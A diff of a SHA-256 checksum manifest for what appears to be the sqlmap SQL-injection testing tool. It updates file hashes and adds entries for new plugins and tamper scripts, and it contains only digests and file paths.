+972c5db9c9e30ac0f91c0f8d4df4531d0304e151dac99f1399c37c952ba9f935  lib/utils/har.py
+0cd3860c03e39bacd1d0fe4cf1a0c605de48ff82f70441319f21d47e38e7e3a9  lib/utils/hashdb.py
+71a66ff766a2921106770b26acff380de469222dc893816a7b970b384c927666  lib/utils/hash.py
 1966ca704961fb987ab757f0a4afddbf841d1a880631b701487c75cef63d60c3  lib/utils/__init__.py
-22ba65391b0a73b1925e5becf8ddab6ba73a196d86e351a2263509aad6676bd7  lib/utils/pivotdumptable.py
+1bbf57e43f921d4132e6e5a336ff39454a9506b36de94ebcc45879d0abcac56a  lib/utils/keysetdump.py
+04b28ad98340a589eb9b21d014c435e8193c2bea3a21af9875b6f23c9b270f1f  lib/utils/pivotdumptable.py
 c1dfc3bed0fed9b181f612d1d747955dd2b506dbe99bc9fd481495602371473a  lib/utils/progress.py
-b0f777739420f7207e57d7073fd94c630a456e4c419d440b98ed6521143952dc  lib/utils/purge.py
-c853aa08ab24a00a78969408d60684da0ccb33a2a6693492e0acb7c480ffbcd1  lib/utils/safe2bin.py
-2ee72e83500a1bf02fcd942564fca0053a0c46f736286f0c35dd6904e09f4734  lib/utils/search.py
+c442e9ef8324fd6fdf7bc334d765f0a6ce4037397eb3d79d59b5ce3e9a043855  lib/utils/prove.py
+2cd84db16edef8c9948e197a51d870cf1c338f4a89037b4d422de990f4a45237  lib/utils/purge.py
+e6d8e812c380647590a175528e75c2835fc75dd12f989ef1cceb5c12a5815bd8  lib/utils/safe2bin.py
+f8b9a876a19543ecb215956f525be6f59109716d0c301b57aa85d57cd2194a21  lib/utils/search.py
 8258d0f54ad94e6101934971af4e55d5540f217c40ddcc594e2fba837b856d35  lib/utils/sgmllib.py
-b08373d647f337722983221d9051d8da253bf02e3f084aba8aee642ace8d02a6  lib/utils/sqlalchemy.py
+2760c4b82382e501f16bb98edec9531f46e5b286fbf004b346545b9b62f84824  lib/utils/sqlalchemy.py
 f0e5525a92fe971defc8f74c27942ff9138b1e8251f2e0d9a8bd59285b656084  lib/utils/timeout.py
-baa49b4c33310fac876e6a855830c3e8e47c4838fffbe7e4e0b8c9e2c4af84a9  lib/utils/tui.py
+f28693d5d2783f3d5069b1df3d12e01730ce783f4a40ef31656ef2c879d2f027  lib/utils/tui.py
 e430db49aa768ff2cdba76932e30871c366054599c44d91580dde459ab9b6fef  lib/utils/versioncheck.py
-b6cd3059c369bbcb162cfd797596849f9f95078c3b2e91fecee36d3ea1001fc2  lib/utils/xrange.py
+c9618a9f5300f85f2078cdd71c6bee6b45a61a404834c17b07b0e0eb4709586a  lib/utils/wafbypass.py
+1b439fc59fd202c21c74978ed9f36d1c309533226c77907eae159461525f9fef  lib/utils/xrange.py
 b1bbb62f5b272a6247d442d5e4f644a5bca7138e70776539ec84a5a90433fd13  LICENSE
 6b1828a80ae3472f1adb53a540dee0835eccac14f8cfc4bf73962c4e49a49557  plugins/dbms/access/connector.py
 c18939660aebb5ce323b4c78a46a2b119869ba8d0b44c853924118936ce5b0ac  plugins/dbms/access/enumeration.py
@@ -279,7 +293,7 @@ c07f786b06dc694fa6e300f69b3e838dc9c917cf8120306f1c23e834193d3694  plugins/dbms/a
 b55d9c944cf390cd496bd5e302aa5815c9c327d5bb400dc9426107c91a40846d  plugins/dbms/altibase/__init__.py
 859cc5b9be496fe35f2782743f8e573ff9d823de7e99b0d32dbc250c361c653e  plugins/dbms/altibase/syntax.py
 2c3bb750d3c1fb1547ec59eb392d66df37735bd74cca4d2c745141ea577cce1e  plugins/dbms/altibase/takeover.py
-c03bf2d0584327f83956209f4f4697661b908b32b6fe5a1f9f2e06560870b084  plugins/dbms/cache/connector.py
+584e1ecd6ab812b52a0e959d1e061895411109f145fb81faf435a2c568f91c53  plugins/dbms/cache/connector.py
 49b591c1b1dc7927f59924447ad8ec5cb9d97a74ad4b34b43051253876c27cdc  plugins/dbms/cache/enumeration.py
 672dc9b3d291aa4f5d6c4cbe364e92b92e19ee6de86f6d9b9a4dda7d5611b409  plugins/dbms/cache/filesystem.py
 ef270e87f7fc2556f900c156a4886f995a185ff920df9d2cd954db54ee1f0b77  plugins/dbms/cache/fingerprint.py
@@ -328,7 +342,7 @@ c11430510e18ff1eec0d6e29fc308e540bbd7e925c60af4cd19930a726c56b74  plugins/dbms/e
 7d2dc7c31c60dc631f2c49d478a4ddeb6b8e08b93ad5257d5b0df4b9a57ed807  plugins/dbms/extremedb/__init__.py
 4878e83ef8e33915412f2fac17d92f1b1f6f18b47d31500cd93e59d68f8b5752  plugins/dbms/extremedb/syntax.py
 e05577e2e85be5e0d9060062511accbb7b113dfbafa30c80a0f539c9e4593c9f  plugins/dbms/extremedb/takeover.py
-5a5ab2661aea9e75795836f0e2f3143453dfcc57fa9b42a999349055e472d6ea  plugins/dbms/firebird/connector.py
+368cac0cb766e0a4b4850f41c3c2049244d832f9f75218270b526a3785e94ee7  plugins/dbms/firebird/connector.py
 813ccc7b1b78a78079389a37cc67aa91659aa45b5ddd7b124a922556cdafc461  plugins/dbms/firebird/enumeration.py
 5becd41639bb2e12abeda33a950d777137b0794161056fb7626e5e07ab80461f  plugins/dbms/firebird/filesystem.py
 f560172d8306ca135de82cf1cd22a20014ce95da8b33a28d698dd1dcd3dad4b0  plugins/dbms/firebird/fingerprint.py
@@ -349,9 +363,9 @@ c14d73712d9d6fcfa6b580d72075d51901c472bdd7e1bc956973363ad1fca4d8  plugins/dbms/h
 742d4a29f8875c8dabe58523b5e3b27c66e29a964342ec6acd19a71714b46bb1  plugins/dbms/h2/__init__.py
 1df5c5d522b381ef48174cfc5c9e1149194e15c80b9d517e3ed61d60b1a46740  plugins/dbms/h2/syntax.py
 c994c855cf0d30cf0fa559a1d9afc22c3e31a14ba2634f11a1a393c7f6ec4b95  plugins/dbms/h2/takeover.py
-eedf40aa079cfaae5616b213ff994f796b726fcfb99c567db51cdf2cd75aacc7  plugins/dbms/hsqldb/connector.py
+cda313311ae5041eb8129db7cff8f9d9d42296313929cf72938e962d6ec46466  plugins/dbms/hsqldb/connector.py
 03c8dd263a4d175f3b55e9cbcaa2823862abf858bab5363771792d8fd49d77a1  plugins/dbms/hsqldb/enumeration.py
-2e64d477331cb7da88757d081abf2885d025b51874f6b16bde83d82f1430bc35  plugins/dbms/hsqldb/filesystem.py
+efce2b895a68cfeb78bd59803d8d4b543c478b090a57a1edd11bcaa67d125368  plugins/dbms/hsqldb/filesystem.py
 b5b86da64fc24453a3354523a786a2047b99cd200eae7015eef180655be5cff5  plugins/dbms/hsqldb/fingerprint.py
 321a8efe7b65cbdf69ff4a8c1509bd97ed5f0edd335a3742e3d19bca2813e24a  plugins/dbms/hsqldb/__init__.py
 1df5c5d522b381ef48174cfc5c9e1149194e15c80b9d517e3ed61d60b1a46740  plugins/dbms/hsqldb/syntax.py
@@ -365,7 +379,7 @@ d4a7721fa80465ac30679ba79e7a448aa94b2efa1dbf4119766bc7084d7e87e4  plugins/dbms/i
 1ce793ee91c4de6eb7839adc379652d55ef54f162a9a030b948c54d55dc93c14  plugins/dbms/informix/takeover.py
 1966ca704961fb987ab757f0a4afddbf841d1a880631b701487c75cef63d60c3  plugins/dbms/__init__.py
 3869c8a1d6ddd4dbfe432217bb269398ecd658aaa7af87432e8fa3d4d4294bbc  plugins/dbms/maxdb/connector.py
-3d0fef588c8972fc1aeab0c58d800cd128b557a48d8666c36c5b6dbc9617d19d  plugins/dbms/maxdb/enumeration.py
+fee0735986508dbbe2524d8c758694cea0d9b258547ee2a940ea139b0f6210b4  plugins/dbms/maxdb/enumeration.py
 e67ecd7a1faf1ef9e263c387526f4cdeefd58e07532750b4ebffccc852fab4d2  plugins/dbms/maxdb/filesystem.py
 78d04c8a298f9525c9f0f392fa542c86d5629b0e35dd9383960a238ee937fb93  plugins/dbms/maxdb/fingerprint.py
 10db7520bc988344e10fe1621aa79796d7e262c53da2896a6b46fcf9ee6f5ba4  plugins/dbms/maxdb/__init__.py
@@ -388,42 +402,42 @@ e9ef99b83542121ac4489526ecb90def4bba9ec62a0dd990bb39d7db387c5ff6  plugins/dbms/m
 8a9d30546e3e96295b59bb5e53b352d039f785e0fa8ae19b2073083f1555f45b  plugins/dbms/monetdb/connector.py
 ba04af3683b9a6e29e8fa6b3bf436a57e59435cebb042414f2df82018d91599e  plugins/dbms/monetdb/enumeration.py
 672dc9b3d291aa4f5d6c4cbe364e92b92e19ee6de86f6d9b9a4dda7d5611b409  plugins/dbms/monetdb/filesystem.py
-5fd3a9eb6210c32395e025e327bfeb24fd18f0cc7da554be526c7f2ae9af3f7d  plugins/dbms/monetdb/fingerprint.py
+7188530754349b765b9842ad8f416766fd7035f131ad6444156ae0de45efc8fe  plugins/dbms/monetdb/fingerprint.py
 05dc581f0fbed20030200e5c7bd45a971ad4e910c6502ad02cc6c26fd5937003  plugins/dbms/monetdb/__init__.py
 78f1ff4b82fd4af50e1fbdb81539862f1c31258cda212b39f4a8501960f1b95e  plugins/dbms/monetdb/syntax.py
 236fd244f0bbc3976b389429a8176feda6c243267564c2a0eff6fc2458c1b3f9  plugins/dbms/monetdb/takeover.py
 6bdc774463ac87b1bd1b6a9d5c2346b7edbf40d9848b7870a30d1eaedde4fc51  plugins/dbms/mssqlserver/connector.py
-52c19e9067f22f5c386206943d1807af4c661500bf260930a5986e9a180e96c7  plugins/dbms/mssqlserver/enumeration.py
-838ed364ce46ae37fb5b02f47d2767f7d49595f81caf4bc51c1e25fd18e4aa65  plugins/dbms/mssqlserver/filesystem.py
-c378802702f6ccc3855ec117845f758794ea18baed64f7b571009c6bd7ffc8dd  plugins/dbms/mssqlserver/fingerprint.py
+69ba678efde8335efb8a167b63143b4fb65ea19802bc3ade30c87cb979c198e4  plugins/dbms/mssqlserver/enumeration.py
+67cd70b64aed27af467682ceae8e20992b6765d2374d5762efb5a4585b8a6f79  plugins/dbms/mssqlserver/filesystem.py
+38ade085f9f1b227eda8c89f78e3ce869e8f430c98bef0cc7cbd2c7dcd60c24e  plugins/dbms/mssqlserver/fingerprint.py
 1ecde09e80d7b709a710281f4983a6831bc02ca3458ae0b97b28446d6db241b4  plugins/dbms/mssqlserver/__init__.py
 a89074020253365b6c95a4fa53e41fb0dc16f26a209b31f28e65910f26b81d21  plugins/dbms/mssqlserver/syntax.py
-57f263084438e9b2ec2e62909fc51871e9eefb1a9156bbe87908592c5274b639  plugins/dbms/mssqlserver/takeover.py
+099f17ba54181e0dc4da721db6a2ef52f6b8e57adeaf69248500754f4ecf398d  plugins/dbms/mssqlserver/takeover.py
 275ffb2a63c179a5b1673866fcd4020d7f30a68e6d7736e7e21094e2a3234578  plugins/dbms/mysql/connector.py
 51590c30177adf8c435e4d6d4be070f6708d81793f70577d9317daa4ef2485ba  plugins/dbms/mysql/enumeration.py
-9523715aa823ecfc7a914afabf5fe3091583c93a23ccc270c61a78b007b7a652  plugins/dbms/mysql/filesystem.py
-b5708a7e3179896f0242f6188642d0f613371b2f621ad8ebb0a53c934dd36259  plugins/dbms/mysql/fingerprint.py
+5114ca85e5aac6eaebf2ca2cf6b944250329d2d5c36a36015ac34599c9437838  plugins/dbms/mysql/filesystem.py
+86a53d0ab8e569c04325f1011969b059582252278e97cfcdb0502548a5b38908  plugins/dbms/mysql/fingerprint.py
 e2289734859246e6c1a150d12914a711901d10140659beded7aa14f22d11bca3  plugins/dbms/mysql/__init__.py
 02a37c42e8a87496858fd6f9d77a5ab9375ea63a004c5393e3d02ca72bc55f19  plugins/dbms/mysql/syntax.py
 1e6a7c6cc77772a4051d88604774ba5cc9e06b1180f7dba9809d0739bc65cf37  plugins/dbms/mysql/takeover.py
 af1b89286e8d918e1d749db7cce87a1eae2b038c120fb799cc8ee766eb6b03e1  plugins/dbms/oracle/connector.py
 5965da4e8020291beb6f35a5e11a6477edb749bdeba668225aea57af9754a4b3  plugins/dbms/oracle/enumeration.py
-94132121cd085e314e9fe63d2ac174e0e26acd4ed17cdce46f93ab36c71967d9  plugins/dbms/oracle/filesystem.py
+b8812b1e1a7c68283de3dd264bbeef1fed91eaada720fcfe088f3a62fd9fc614  plugins/dbms/oracle/filesystem.py
 0b2dd004b9c9c41dbdd6e93f536f31a2a0b62c2815eb8099299cd692b0dd08a1  plugins/dbms/oracle/fingerprint.py
 fd0bfc194540bd83843e4b45f431ad7e9c8fd4a01959f15f2a5e30dcfa6acf60  plugins/dbms/oracle/__init__.py
 a5ec593a2e57d658e3448dd108781a3761484c41c0f67f6a3db59d9def57d71a  plugins/dbms/oracle/syntax.py
 a74fc203fbcc1c4a0656f40ed51274c53620be095e83b3933b5d2e23c6cea577  plugins/dbms/oracle/takeover.py
 cc55a6bb81c182fca0482acd77ff065c441944ed7a7ef28736e4dff35d9dce5b  plugins/dbms/postgresql/connector.py
 81a6554971126121465060fd671d361043383e2930102e753c1ad5a1bea0abf6  plugins/dbms/postgresql/enumeration.py
-cd6e7b03623f9cecd8151ddaac111072edb79e16588da8e7b3c37e9d233b290b  plugins/dbms/postgresql/filesystem.py
+dcb7c9737129ae5b1d054be767a4ed3851fc2a3e50fbd1ab884552ba9dce74fb  plugins/dbms/postgresql/filesystem.py
 56a3c0b692187aef120fedb639e10cecf02fbf46e9625d327a0cd4ae07c6724e  plugins/dbms/postgresql/fingerprint.py
 9c14f8ad202051f3f7b72147bae891abb9aa848a6645aa614a051314ac91891a  plugins/dbms/postgresql/__init__.py
 4fce63dd766a35b7273351df2de706c37a0392479578705853b4333c119f2270  plugins/dbms/postgresql/syntax.py
 d3cb1ebaf594b30cebddd16a8dcf6cf33a3536c3da4caf7e4b9d8c910288eb8d  plugins/dbms/postgresql/takeover.py
 9a63ef08407c1f4686679343e733bfc124d287ebadf747db5ecbc3abed694462  plugins/dbms/presto/connector.py
-23e2fb4fc9c6b84d7503986f311da9c3a9c6eb261433f80be1e854144ebb15b4  plugins/dbms/presto/enumeration.py
+1c966d62ce361cf681202be88d839a9bd2677b1444e6998778151ab27647199e  plugins/dbms/presto/enumeration.py
 874532c0a1a09e2c3d6ea5f4b9e12552ce18ae04a8d13a9f8e099071760f4a73  plugins/dbms/presto/filesystem.py
-acd58559efbce9f94683260c45619286b5bb015ff5dbf39b9e8c9b286f34fbe8  plugins/dbms/presto/fingerprint.py
+338fbc37ae85f293f07461127dd1465a3ad6bc6bedcdb025ffac35df8bfc8949  plugins/dbms/presto/fingerprint.py
 5c104b3ee2e86bf29a8f446d7779470b42d173e87b672c43257289b0d798d2b1  plugins/dbms/presto/__init__.py
 859cc5b9be496fe35f2782743f8e573ff9d823de7e99b0d32dbc250c361c653e  plugins/dbms/presto/syntax.py
 98e28b754352529381b5cffdc701a1c08158d7e7466764310627280d51f744ba  plugins/dbms/presto/takeover.py
@@ -434,6 +448,20 @@ b76606fe4dee18467bc0d19af1e6ab38c0b5593c6c0f2068a8d4c664d4bd71d8  plugins/dbms/r
 3b49758a10ce88c5d8db081cdb4924168c726d1e060e6d09601796fba2a3fbee  plugins/dbms/raima/__init__.py
 1df5c5d522b381ef48174cfc5c9e1149194e15c80b9d517e3ed61d60b1a46740  plugins/dbms/raima/syntax.py
 5b9572279051ab345f45c1db02b02279a070aafdc651aedd7f163d8a6477390b  plugins/dbms/raima/takeover.py
+5744531487abfb0368e55187a66cb615277754a14c2e7facea2778378e67d5c9  plugins/dbms/snowflake/connector.py
+99f7a319652f7a46f724cfced5555bbaade28e64c90f80b5f0b3cfbbb29a958a  plugins/dbms/snowflake/enumeration.py
+3b52302bc41ab185d190bbef58312a4d6f1ee63caa8757309cda58eb91628bc5  plugins/dbms/snowflake/filesystem.py
+99c62be4ca44f5b059c87516c63919542a087e599895ec6f9bcb1a272df31a61  plugins/dbms/snowflake/fingerprint.py
+1de7c93b445deb0766c314066cb122535e9982408614b0ff952a97cbae9b813a  plugins/dbms/snowflake/__init__.py
+859cc5b9be496fe35f2782743f8e573ff9d823de7e99b0d32dbc250c361c653e  plugins/dbms/snowflake/syntax.py
+da43fed8bfa4a94aaceb63e760c69e9927c1640e45e457b8f03189be6604693f  plugins/dbms/snowflake/takeover.py
+0163ce14bfa49b7485ab430be1fa33366c9f516573a89d89120f812ffdbc0c83  plugins/dbms/spanner/connector.py
+cb2c802d695d0b3bdc0769a2f767e58351c73a900db2ddb8f89f863bd5546947  plugins/dbms/spanner/enumeration.py
+672dc9b3d291aa4f5d6c4cbe364e92b92e19ee6de86f6d9b9a4dda7d5611b409  plugins/dbms/spanner/filesystem.py
+30f4caea09eb300a8b16ff2609960d165d8a7fa0f3034c345fea24002fea2670  plugins/dbms/spanner/fingerprint.py
+7c46a84ece581b5284ffd604b54bacb38acc87ea7fbac31aae38e20eb4ead31a  plugins/dbms/spanner/__init__.py
+54a184528a74d7e1ff3131cbca2efa86bbf63c2b2623fb9a395bdb5d2db6cf5a  plugins/dbms/spanner/syntax.py
+949add058f3774fbed41a6a724985ac902abe03b0617ec99698e3a29292efa43  plugins/dbms/spanner/takeover.py
 cae01d387617e3986b9cfb23519b7c6a444e2d116f2dc774163abec0217f6ed6  plugins/dbms/sqlite/connector.py
 fbcff0468fcccd9f86277d205b33f14578b7550b33d31716fd10003f16122752  plugins/dbms/sqlite/enumeration.py
 013f6cf4d04edce3ee0ede73b6415a2774e58452a5365ab5f7a49c77650ba355  plugins/dbms/sqlite/filesystem.py
@@ -442,7 +470,7 @@ f5b28fe6ff99de3716e7e2cd2304784a4c49b1df7a292381dae0964fb9ef80f3  plugins/dbms/s
 351a9accf1af8f7d18680b71d9c591afbe2dec8643c774e2a3c67cc56474a409  plugins/dbms/sqlite/syntax.py
 e56033f9a9a1ef904a6cdbc0d71f02f93e8931a46fe050d465a87e38eb92df67  plugins/dbms/sqlite/takeover.py
 b801f9ed84dd26532a4719d1bf033dfde38ecaccbdea9e6f5fd6b3395b67430d  plugins/dbms/sybase/connector.py
-8173165097ac6720258cf8a5ccf97600d5aa94378182ad0e1ccaa4cfcfa0c038  plugins/dbms/sybase/enumeration.py
+397836e1d3cff87627f92633b4852bbbb143ca4306fe99ab577b25b7aa69c9cb  plugins/dbms/sybase/enumeration.py
 73b41e33381cd8b13c21959006ef1c6006540d00d53b3ccb1a7915578b860f23  plugins/dbms/sybase/filesystem.py
 49ec03fe92dab994ee7f75713144b71df48469dca9eb8f9654d54cdcb227ea2c  plugins/dbms/sybase/fingerprint.py
 0d234ddd3f66b5153feb422fc1d75937b432d96b5e5f8df2301ddcadf6c722b2  plugins/dbms/sybase/__init__.py
@@ -464,53 +492,55 @@ e2e20e4707abe9ed8b6208837332d2daa4eaca282f847412063f2484dcca8fbd  plugins/dbms/v
 2b2dad6ba1d344215cad11b629546eb9f259d7c996c202edf3de5ab22418787e  plugins/dbms/virtuoso/takeover.py
 51c44048e4b335b306f8ed1323fd78ad6935a8c0d6e9d6efe195a9a5a24e46dc  plugins/generic/connector.py
 a967f4ebd101c68a5dcc10ff18c882a8f44a5c3bf06613d951a739ecc3abb9b3  plugins/generic/custom.py
-ba5d7cdebd0619454ab23b474e36231085f35a70961bfe4e93d5753736799b82  plugins/generic/databases.py
-c46904df889742d2c781749e153663cde29a7c77eb8cbaad6d1db3148e9a58bd  plugins/generic/entries.py
+6f77b5cae6781a746f8490fe3e85456e575165b38edd280a69c9327af8bee85f  plugins/generic/databases.py
+13086bfae6022edc2bbd35512fa3bda3402c269e9d6148ffe386ba5b8b4ba461  plugins/generic/entries.py
 d2de7fc135cf0db3eb4ac4a509c23ebec5250a5d8043face7f8c546a09f301b5  plugins/generic/enumeration.py
-a02ac4ebc1cc488a2aa5ae07e6d0c3d5064e99ded7fd529dfa073735692f11df  plugins/generic/filesystem.py
+8d5e3eacbd2a3cfec63fcf5bdcc8efc77656f29b11ca652c4ee60c72daea04ab  plugins/generic/filesystem.py
 efd7177218288f32881b69a7ba3d667dc9178f1009c06a3e1dd4f4a4ee6980db  plugins/generic/fingerprint.py
 1966ca704961fb987ab757f0a4afddbf841d1a880631b701487c75cef63d60c3  plugins/generic/__init__.py
 ba07e54265cf461aed678df49fe3550aec90cb6d8aa9387458bd4b7064670d00  plugins/generic/misc.py
 7c1b1f91925d00706529e88a763bc3dabafaf82d6dbc01b1f74aeef0533537a1  plugins/generic/search.py
 da8cc80a09683c89e8168a27427efecda9f35abc4a23d4facd6ffa7a837015c4  plugins/generic/syntax.py
-eb45fd711efa71ab9d91d815cc8abebc9abc4770311fbb827159008b000f4fc2  plugins/generic/takeover.py
-3a92c47837e9aab99d1ee788fc59404b145b2bec2702ead7ce0a32f45e57a850  plugins/generic/users.py
+cedf45d33461bd7e5400d06611a63c8a4ffae1a4510030c5696b9d46ed6a9883  plugins/generic/takeover.py
+38becf127a8bb4a90befd4c7e12ef1ad8e21374c91c75bb640d73ab86cc1eeb9  plugins/generic/users.py
 1966ca704961fb987ab757f0a4afddbf841d1a880631b701487c75cef63d60c3  plugins/__init__.py
-423d9bfaddb3cf527d02ddda97e53c4853d664c51ef7be519e4f45b9e399bc30  README.md
-c6ad39bfd1810413402dedfc275fc805fa13f85fc490e236c1e725bde4e5100b  sqlmapapi.py
-168309215af7dd5b0b71070e1770e72f1cbb29a3d8025143fb8aa0b88cd56b62  sqlmapapi.yaml
-a40607ce164eb2d21865288d24b863edb1c734b56db857e130ac1aef961c80b9  sqlmap.conf
-e9d3d52d4c0698b956cc0dc92c177d432b1f97c5918f750baa3e737de4ae574b  sqlmap.py
+5d72f0af46ff3c9e3fe80300e83cb78749132278e8db88915764a94d7130a04c  README.md
+46517f1444c202710e388873960130850ed092e17bd6f4dd5f2fedea3dbb8ffc  sqlmapapi.py
+f09d1b06901e7e02d0dbf4de607f6a4a9889acc322ae9353b98ea9101fb9548a  sqlmapapi.yaml
+627d90f1194335b800cbc9cc78db6697cf9e02e193a83598e0d4d0abb55b63b8  sqlmap.conf
+41fa63d55909cf00a0bb02e979c4f2c0ad7df4b32a89374150772b247fa96fc2  sqlmap.py
 eb37a88357522fd7ad00d90cdc5da6b57442b4fec49366aadb2944c4fbf8b804  tamper/0eunion.py
 a9785a4c111d6fee2e6d26466ba5efb3b229c00520b26e8024b041553b53efba  tamper/apostrophemask.py
 cf26bc8006519bd25ce06d347f72770cd75b61575cf65e5812274e8ab9392eb4  tamper/apostrophenullencode.py
 0b9ed12565bf000c9daa2317e915f2325ccabee1fa5ed5552c0787733fbccffe  tamper/appendnullbyte.py
 11ad15d66c43f32f5d0a39052e5f623a4752ad4fb275d642f2e4cd841ff82b41  tamper/base64encode.py
-cb833979eccf26a5e176f7c8ca40a24bf9904cb2902a1b9df436aefb6a24447e  tamper/between.py
+1b55b7c59c623411c8cf328fff9e7de96a2dfc48ef4e5455325bfd41aebbbc13  tamper/between.py
 6e72b92662185a56847cca235106bc354bd6a10e3e89a135b9ea8fa09cd8eb34  tamper/binary.py
-9e1852d61d439181c42cb6d28656e9464a1dd5991269f000fb47e107f2f6f4f1  tamper/bluecoat.py
-578e36fcf7d596574119ef75cbf1a83040913587a02855f0b6a7e684f9f9c8a5  tamper/chardoubleencode.py
+3fb1a7f8a37d8a49fb88fa880e163ff75a2b224c4a7799abe29bec1a367d5273  tamper/blindbinary.py
+f833cfbb53e6849ed1b3b554ec1c973f85e6d41ebd62f94f8e0dcf0ba5da2f49  tamper/bluecoat.py
+69c7eb987dec666da227ee1024c31b89ad324a3f7cab287ada6dade7f51c8a36  tamper/chardoubleencode.py
 c7892bff56b2b85dfdf9f24c783c569edac57a3fd5a254cf4554987a374206c9  tamper/charencode.py
 72c163ff0b4f79bdec07fbea3e75a2eaa8304881d35287eab8f03c25d06e99e0  tamper/charunicodeencode.py
-50107854594fb13b4b95eed2ab8e66d2dd5470dd7d6b59c124ca766b1ec4b6ed  tamper/charunicodeescape.py
+249c938290c93df028a2b72762e6683be3ef6ea2bc334dd106af6d1a8048b97b  tamper/charunicodeescape.py
 d0d8f2df2c29d81315a867ecb6baa9ca430e8f98d04f4df3879f2bcd697fac16  tamper/commalesslimit.py
 1aee4e920b8ffa4a79b2ac9a42e2d7de13434970b3d1e0c6911c26bdd0c7b4e7  tamper/commalessmid.py
 ff8d05da2c5a123a231671c97ee80bb77b6631d7e5356d836cfe15ef212b73e5  tamper/commentbeforeparentheses.py
-66cad47087c78a5658445f8a00f2e1cd533a6d7c57aec2d1eb1fe486956aa3ea  tamper/concat2concatws.py
-b5a5ba94a78cf83b35cdb0b08d9d69dbf1f33c07cc5152c560ae5aee54a4c066  tamper/decentities.py
+27f74b1c007713f753e0278bc056b09cd715c364847977962d6a198ecefa14ff  tamper/concat2concatws.py
+4cc9f6d319fbf3b60de4b9a487f9630e95cfef0ebf7749b623526b91510668a5  tamper/decentities.py
 1d6bcc5ffe235840370cd9738b5e8067f8b24e8c0e2bb629d330a7e5c379328a  tamper/dunion.py
-99c59e6fd7cafc9238c53e037eff457823854eef7cb0c5ea05941e0223229209  tamper/equaltolike.py
-b3940e8d029150a81f17a2da1141928c31b6abb9ade3672d093051e310439995  tamper/equaltorlike.py
-d528e74ae7c9fc0cd45369046d835a8f1e6f9252eeef6d84d9978d7e329ab35f  tamper/escapequotes.py
+ab455ab2d7bf89e2d283799841556e2b87c53bd288aca88f2d9f1ea5b9c39cb8  tamper/equaltolike.py
+c686219f6e1b22be654792ead82c55947c11dc55901db6173fbc9821b6da625d  tamper/equaltorlike.py
+d06c4ba69f645fe60e786085c76fa163708938d105652a03d03f3e0407357205  tamper/escapequotes.py
 0694f202a4f57e0a5c4d5aa72eee121b6f344d4e03692d9e267e2212abed719c  tamper/greatest.py
-26e57bc7c118168f20a5fc80d2d2fdbef05c027328c5c55cbbe92047ee8123da  tamper/halfversionedmorekeywords.py
-f0a7b635061385a3bf399cc51faf4d5e10694266aaa21fba557ca655c00a09bc  tamper/hex2char.py
-9096cbf2283137d592408325347f46866fd139966c946f8ba1ea61826472d0bb  tamper/hexentities.py
-3e518ace6940d54e8844c83781756e85d5670c53dfac0a092c4ee36cd5111885  tamper/htmlencode.py
-04028ea55034ef5c82167db35cb1276d3d5c717f6b22507b791342ccf82722ad  tamper/if2case.py
-365085e79d296791464ec3f041a26554b19ba4865c4a727e258e9586b0bcfbe7  tamper/ifnull2casewhenisnull.py
-e73e3723d4b61515d7ad2c0fe6e9a9dcaeeac6a93ed6149f44d59e4e41543226  tamper/ifnull2ifisnull.py
+89c2606da517d063f5a898a33d5bfd8737eef837552fc1127cea512ab82d0ea5  tamper/halfversionedmorekeywords.py
+76475815dedf1b56a542abdbad3f50f26f9b402775b6d475ba3b8ce64dede022  tamper/hex2char.py
+731e7ab9996dbe701d5a4971540c92245d204c11bf00efcb905bb27f3269e97b  tamper/hexentities.py
+7324f520834d6072896df56802dca416ef66c175c339ed498708144bb51d193d  tamper/htmlencode.py
+d05dafb86e82807e75bb8f54dcd6afbb4a08ba3b83b35562fee7f7022a75dbd7  tamper/if2case.py
+55092820a856f583cf1b661001b60216886d172cb7d0008920bf4ab3df88aff0  tamper/ifnull2casewhenisnull.py
+eeda2b2fd54a4aa5fcf5630f8bfae43e0a38a840ae908e2f6b0878959067413c  tamper/ifnull2ifisnull.py
 94fe273bee7df27c9b4f1ee043779d06e4553169d9aec30c301d469275883dd1  tamper/informationschemacomment.py
+ff07320cb134520c3be99407b5c1e67528f944c6a12838ab583716622e877a95  tamper/infoschema2innodb.py
 1966ca704961fb987ab757f0a4afddbf841d1a880631b701487c75cef63d60c3  tamper/__init__.py
 017c91ba64c669382aa88ce627f925b00101a81c1a37a23dba09bfa2bfaf42ae  tamper/least.py
 d762543ef6d90fd6ce8b897fdfb864e0461d2941922d331d97a334aefdbbe291  tamper/lowercase.py
@@ -523,48 +553,126 @@ b533f576b260f485ebb70566c520979608d9f1790aa2811ce8194970b63e0d96  tamper/modsecu
 687f531696809452a37f631cdb201267b04cb83b34a847aec507aca04e2ec305  tamper/ord2ascii.py
 07cca753862dc9a2379aea23823d71ad6f4f6716a220e01792467549f8bde95a  tamper/overlongutf8more.py
 b17748d63b763a7bfd2188f44145345507ce71e1b46f29d747132da5c56d7ed0  tamper/overlongutf8.py
-dea9ab017cc4bde6f61f95a4f400ecba441525ff2d2dba886a2bf3ecdc1af605  tamper/percentage.py
+0af473a5fb3b458b0575d220b55ad96f81d9ca34eab854b597280f8bae6d35ba  tamper/percentage.py
 5437bc272398173c997d7b156dac1606dcde30421923bfc8f744d3668441d79e  tamper/plus2concat.py
 3cec7391b8b586474455ef4b089a27c67406ba02f91698647bb113c291f38692  tamper/plus2fnconcat.py
-007a21d189bfedd48d4ca2704fb7ea709ea72f4b206e38a7fe40446a12b0a6e3  tamper/randomcase.py
-27dfb51abe8f97a833309c2a42c31a63c0eda4711d122639c5ea31e5b5a9021a  tamper/randomcomments.py
+f5e2cccbe669b732c0b8aaa56c16522fd579168ff61a92d31f94c6970070dfe0  tamper/randomcase.py
+5a7047f97c1e6a29e37c13607d92776f1b0eebce96f7e4d6926f459e73abb382  tamper/randomcomments.py
 e11f10ab09c2a7f44ca2a42b35f9db30d1d3715981bd830ea4e00968be51931b  tamper/schemasplit.py
 21fae428f0393ab287503cc99997fba33c9a001a19f6dd203bbcc420a62a4b90  tamper/scientific.py
 7a71736657ca2b27a01f5f988a5c938d67a0f7e9558caba9041bd17b2cef9813  tamper/sleep2getlock.py
-856de1573ba9b08f6f33e28ca5a96341697762afa163835dcd4772ba6e1dadc6  tamper/space2comment.py
-715b56e60e8f7bf0a1198b356a32374797a8c2e1ba1f888794626205d63c63d5  tamper/space2dash.py
-21c43aafe994e798335e6756fbed15f430629beb49042b56d47f232022044a65  tamper/space2hash.py
-329fa6e9bb27e1770ccc1c42c3b3ddc8e57a970959d8482ff102d7bfee546a49  tamper/space2morecomment.py
